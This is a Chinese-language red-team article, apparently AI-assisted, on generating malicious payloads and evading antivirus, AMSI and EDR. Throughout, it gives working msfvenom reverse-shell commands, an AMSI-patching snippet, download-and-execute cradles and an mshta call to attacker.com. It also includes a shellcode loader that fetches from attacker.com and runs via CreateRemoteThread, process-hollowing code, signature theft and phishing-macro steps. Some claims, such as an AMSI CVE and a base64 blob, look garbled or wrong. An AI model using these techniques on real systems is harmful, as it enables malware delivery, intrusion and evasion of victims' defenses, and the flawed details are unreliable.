红队武器化技术:恶意代码生成与免杀技巧全解析 红队武器化技术恶意代码生成与免杀技巧全解析【免费下载链接】Awesome-Red-TeamingList of Awesome Red Team / Red Teaming Resources This list is for anyone wishing to learn about Red Teaming but do not have a starting point.项目地址: https://gitcode.com/gh_mirrors/awe/Awesome-Red-Teaming在网络安全对抗日益激烈的今天红队武器化技术已成为渗透测试与红队评估的核心能力。恶意代码生成与免杀技术作为红队行动的关键环节直接决定了攻击链能否成功突破防御体系。本文将系统梳理当前主流的恶意代码生成方法与免杀策略帮助安全从业者掌握实用的红队武器化技术。恶意代码生成基础从概念到实践现代恶意代码生成框架选型红队人员需要根据目标环境特性选择合适的恶意代码生成工具。目前项目中收录的主流框架包括TheFatRat支持多平台 payload 生成可将 payload 注入多种文件格式如 PDF、HTA、VBS集成免杀功能和持久化模块GreatSCT专注于生成免杀 payload支持多种编码器和载荷模板可绕过常见 AV/EDR 检测UnicornPowerShell 攻击框架能生成混淆的 PowerShell 脚本支持多种 C2 协议Donut将 .NET 程序、PE 文件等转换为位置无关的 shellcode适用于内存注入场景这些工具各有侧重例如生成 DLL 载荷可优先选择 Donut而需要钓鱼场景的宏文件则可使用 macro_pack。基础 payload 生成技术以常见的 Meterpreter 反向 shell 生成为例基础命令如下msfvenom -p windows/meterpreter/reverse_http LHOST192.168.1.100 LPORT8080 -f exe -o malicious.exe但这种原始 payload 极易被检测需要结合编码和混淆技术。项目中推荐的增强方法包括多层编码使用 shikata_ga_nai 编码器多次编码msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 5 LHOST192.168.1.100 -f raw | msfvenom -e x86/alpha_upper -i 3 -f exe -o encoded.exe文件格式伪装将 payload 注入正常文件# 使用 unicorn 生成伪装成图片的 powershell 载荷 python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.100 443 png无文件技术直接生成内存执行的 shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT443 -f csharp免杀核心技术绕过现代防御体系AMSI 绕过实用技巧Windows Antimalware Scan Interface (AMSI) 是当前主要的脚本检测机制项目中收录了多种成熟绕过方法内存补丁技术通过修改 AMSI 相关函数实现绕过# AMSI 内存补丁示例 $a[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils) $b$a.GetField(amsiInitFailed,NonPublic,Static) $b.SetValue($null,$true)利用漏洞绕过如 CVE-2021-41379 等 AMSI 漏洞# 利用 AMSI 漏洞加载恶意代码 IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/master/Invoke-AmsiBypass.ps1) Invoke-AmsiBypass脚本混淆通过字符替换、Base64 编码等方式规避特征检测# 简单的字符串混淆示例 $code [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(JABzAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAJABzAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwBjAHIAZQBAdABoAGUAcwBzAGgAbwBvAGsALgBjAG8AbQAvAEkAbgB2AG8AawBlAC0AQQBtAHMAaQBBAHIAeQBwAGEAcwBzAC4AcABzADEAJwApAAoASQBFAFgAKAAkAHMAKQA)) Invoke-Expression $codeEDR 绕过进阶策略针对端点检测与响应 (EDR) 系统需采用更深入的绕过技术直接系统调用绕过 EDR 的 API 钩子使用 SysWhispers2 等工具生成直接系统调用代码// SysWhispers2 生成的直接系统调用示例 NTSTATUS status NtAllocateVirtualMemory( GetCurrentProcess(), addr, 0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );进程注入技术使用如 Process Hollowing、Process Doppelgänging 等高级注入方法// 进程空洞化示例代码片段 STARTUPINFO si { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; CreateProcessA(NULL, notepad.exe, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, si, pi); LPVOID remoteMem VirtualAllocEx(pi.hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL); SetThreadContext(pi.hThread, ctx); ResumeThread(pi.hThread);反调试与反沙箱通过检测调试器、虚拟机环境实现动态规避// 简单的反调试检测 BOOL IsDebuggerPresent() { __asm { mov eax, dword ptr fs:[0x30] mov al, byte ptr [eax0x2] movzx eax, al } }实战应用武器化流程与最佳实践完整武器化工作流目标环境分析通过信息收集确定目标防御体系如是否存在 EDR、AV 类型等payload 选型根据环境选择合适的载荷类型如 DLL、PowerShell、hta 等免杀处理应用编码、混淆、内存加载等免杀技术投递准备结合钓鱼邮件、供应链攻击等方式准备投递载体测试验证在隔离环境中测试免杀效果和功能完整性免杀效果增强技巧代码签名伪造使用 stolen 或伪造的代码签名证书# 使用 sigthief 窃取签名 python sigthief.py -i legitimate.exe -t malicious.exe -o signed_malicious.exeLOLBAS 技术滥用系统合法工具执行恶意代码# 使用 mshta 执行远程 payload mshta.exe https://attacker.com/malicious.htaC2 流量伪装使用 Malleable C2 配置文件伪装 C2 流量# Cobalt Strike Malleable C2 配置示例 set useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36; set http-get { set uri /api/checkin; client { header Accept text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8; header Referer https://www.google.com/; metadata { base64; prepend SESSIONID; header Cookie; } } server { header Content-Type text/plain; output { base64; print; } } }常见问题与解决方案问题场景解决方案参考工具静态特征检测代码混淆、多态变异ConfuserEx、obfuscator-llvm动态行为检测行为延迟、模拟正常操作SleepyCrypt、ThreadStackSpoofer内存特征检测内存加密、模块伪装ShellcodeFluctuation、PhantomDllHollower流量监控协议加密、域名_frontingCobalt Strike、Sliver防御规避案例分析案例一钓鱼邮件宏攻击某红队行动中攻击者使用 macro_pack 生成带有混淆宏的 Excel 文件主要步骤包括使用 macro_pack 生成基础宏代码python macro_pack.py --template xls --output malicious.xls --payload shellcode --shellcode msfvenom.raw应用字符串混淆和多态变形python macro_pack.py --obfuscate --iterations 3 --input malicious.xls --output final_malicious.xls结合社会工程学邮件投递最终成功绕过 Office 宏安全设置和端点防护。案例二无文件内存攻击某高级红队评估中攻击者采用以下流程实现无文件攻击使用 Donut 将 C# payload 转换为 shellcodedonut -f SharpRDP.exe -o rdp_shellcode.bin -c SharpRDP.Class1 -m Run通过 PowerShell 远程加载执行$code (New-Object System.Net.WebClient).DownloadData(https://attacker.com/rdp_shellcode.bin) $alloc [System.Runtime.InteropServices.Marshal]::AllocHGlobal($code.Length) [System.Runtime.InteropServices.Marshal]::Copy($code, 0, $alloc, $code.Length) $proc [System.Diagnostics.Process]::GetCurrentProcess().Handle $thread CreateRemoteThread($proc, $null, 0, $alloc, $null, 0, [ref]0) WaitForSingleObject($thread, -1)利用直接系统调用和 AMSI 绕过技术成功在目标主机上执行横向移动工具。总结与展望红队武器化技术正朝着更隐蔽、更智能的方向发展。随着防御技术的不断升级红队人员需要持续关注最新的免杀技术和防御绕过方法。项目中收录的工具和技术如 Donut、SysWhispers2、Cobalt Strike为红队行动提供了强大支持但真正的武器化能力还需要结合具体场景灵活应用。未来随着 AI 驱动的防御技术普及红队武器化将更加依赖于动态变形、环境感知和行为欺骗等高级技术。建议红队人员建立完善的武器化流程和测试体系在合法授权的范围内不断提升攻防对抗能力。【免费下载链接】Awesome-Red-TeamingList of Awesome Red Team / Red Teaming Resources This list is for anyone wishing to learn about Red Teaming but do not have a starting point.项目地址: https://gitcode.com/gh_mirrors/awe/Awesome-Red-Teaming创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考